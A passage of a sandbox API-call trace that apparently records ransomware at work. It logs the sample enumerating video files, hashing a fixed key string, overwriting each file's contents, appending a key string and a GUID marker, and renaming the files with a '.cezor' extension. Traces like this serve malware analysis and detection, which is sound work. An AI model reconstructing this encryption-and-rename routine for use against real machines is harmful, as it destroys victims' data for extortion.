hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd19fa810, ftCreationTime.dwHighDateTime=0x1d4d066, ftLastAccessTime.dwLowDateTime=0x61992c00, ftLastAccessTime.dwHighDateTime=0x1d4c94d, ftLastWriteTime.dwLowDateTime=0x61992c00, ftLastWriteTime.dwHighDateTime=0x1d4c94d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.227] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48adfd0, ftCreationTime.dwHighDateTime=0x1d4d24a, ftLastAccessTime.dwLowDateTime=0xc3bd6400, ftLastAccessTime.dwHighDateTime=0x1d4ca15, ftLastWriteTime.dwLowDateTime=0xc3bd6400, ftLastWriteTime.dwHighDateTime=0x1d4ca15, nFileSizeHigh=0x0, nFileSizeLow=0x126a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M5qZaTsTRd.mp4", cAlternateFileName="M5QZAT~1.MP4")) returned 1 [0062.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.227] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xee) returned 0x31194a8 [0062.227] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.227] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\M5qZaTsTRd.mp4") returned=".mp4" [0062.227] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\M5qZaTsTRd.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\xp-kb7abpidoqh4\\m5qzatstrd.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.227] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=75425) returned 1 [0062.228] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.230] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1267b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.230] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.231] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.231] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.231] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x126a1, lpOverlapped=0x0) returned 1 [0062.231] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.231] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.231] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.231] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.231] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0062.232] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.232] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.232] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.232] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.232] GetLastError () returned 0x0 [0062.232] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.232] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0062.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.232] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x126a0) returned 0x3132418 [0062.233] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.233] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x1269c, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x1269c, lpOverlapped=0x0) returned 1 [0062.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.233] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x126a1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.233] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.233] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0062.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.233] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0062.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.233] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.233] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.234] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.234] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.234] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.234] CloseHandle (hObject=0x5c4) returned 1 [0062.235] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0062.235] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c0) returned 0x3100c28 [0062.235] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0062.235] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\M5qZaTsTRd.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\xp-kb7abpidoqh4\\m5qzatstrd.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\M5qZaTsTRd.mp4.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\xp-kb7abpidoqh4\\m5qzatstrd.mp4.cezor")) returned 1 [0062.235] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.235] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31194a8 | out: hHeap=0x670000) returned 1 [0062.236] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe398fd90, ftCreationTime.dwHighDateTime=0x1d4cfbd, ftLastAccessTime.dwLowDateTime=0xc7431e30, ftLastAccessTime.dwHighDateTime=0x1d4caab, ftLastWriteTime.dwLowDateTime=0xc7431e30, ftLastWriteTime.dwHighDateTime=0x1d4caab, nFileSizeHigh=0x0, nFileSizeLow=0x85ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ykO6fV_h.avi", cAlternateFileName="")) returned 1 [0062.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30eea28 [0062.236] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xee) returned 0x31194a8 [0062.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30eea28 | out: hHeap=0x670000) returned 1 [0062.236] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\ykO6fV_h.avi") returned=".avi" [0062.236] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\ykO6fV_h.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\xp-kb7abpidoqh4\\yko6fv_h.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0062.237] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=34282) returned 1 [0062.237] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0062.239] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.239] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0062.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0062.240] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.240] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0062.240] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x85ea, lpOverlapped=0x0) returned 1 [0062.240] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.240] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0062.240] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.240] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0062.240] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e920) returned 1 [0062.241] CryptCreateHash (in: hProv=0x74e920, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0062.241] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0062.241] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0062.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0062.241] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0062.241] GetLastError () returned 0x0 [0062.241] CryptDestroyHash (hHash=0x3038608) returned 1 [0062.241] CryptReleaseContext (hProv=0x74e920, dwFlags=0x0) returned 1 [0062.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0062.241] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x85f0) returned 0x3132418 [0062.241] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0062.241] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0062.241] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x85e5, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x85e5, lpOverlapped=0x0) returned 1 [0062.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0062.242] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x85ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5d40 [0062.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0062.242] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0062.242] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0062.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0062.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5d40 | out: hHeap=0x670000) returned 1 [0062.242] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0062.242] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0062.242] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0062.242] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0062.242] CloseHandle (hObject=0x5c4) returned 1 [0062.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xb0) returned 0x2febad8 [0062.243] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c0) returned 0x3100c28 [0062.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febad8 | out: hHeap=0x670000) returned 1 [0062.243] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\ykO6fV_h.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\xp-kb7abpidoqh4\\yko6fv_h.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\2odT1K\\VuM2\\Xp-kb7abpIDOqh4\\ykO6fV_h.avi.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vcvomt\\2odt1k\\vum2\\xp-kb7abpidoqh4\\yko6fv_h.avi.cezor")) returned 1 [0062.244] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0062.244] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31194a8 | out: hHeap=0x670000) returned 1 [0062.245] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe398fd90, ftCreationTime.dwHighDateTime=0x1d4cfbd, ftLastAccessTime.dwLowDateTime=0xc7431e30, ftLastAccessTime.dwHighDateTime=0x1d4caab, ftLastWriteTime.dwLowDateTime=0xc7431e30, ftLastWriteTime.dwHighDateTime=0x1d4caab, nFileSizeHigh=0x0, nFileSizeLow=0x85ea, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ykO6fV_h.avi", cAlternateFileName="")) returned 0 [0062.245] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee830 | out: hHeap=0x670000) returned 1 [0062.245] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dab0 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee788 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febc48 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febb90 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febdb8 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2febd00 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74eb40 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301ded8 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301df70 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301dd10 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee980 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306e268 | out: hHeap=0x670000) returned 1 [0062.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee980 [0062.245] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0062.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.245] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.245] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0062.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ee6e0 | out: hHeap=0x670000) returned 1 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee6e0 [0062.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0062.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\") returned="Search\\" [0062.247] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301dd10 [0062.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\") returned="10.0\\" [0062.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\") returned="Acrobat\\" [0062.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0062.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0062.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0062.247] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0062.247] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0062.247] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0062.247] PathFindFileNameW (pszPath="") returned="" [0062.247] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\Search\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe8287550, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe8287550, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0062.248] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8287550, ftCreationTime.dwHighDateTime=0x1d2ddf4, 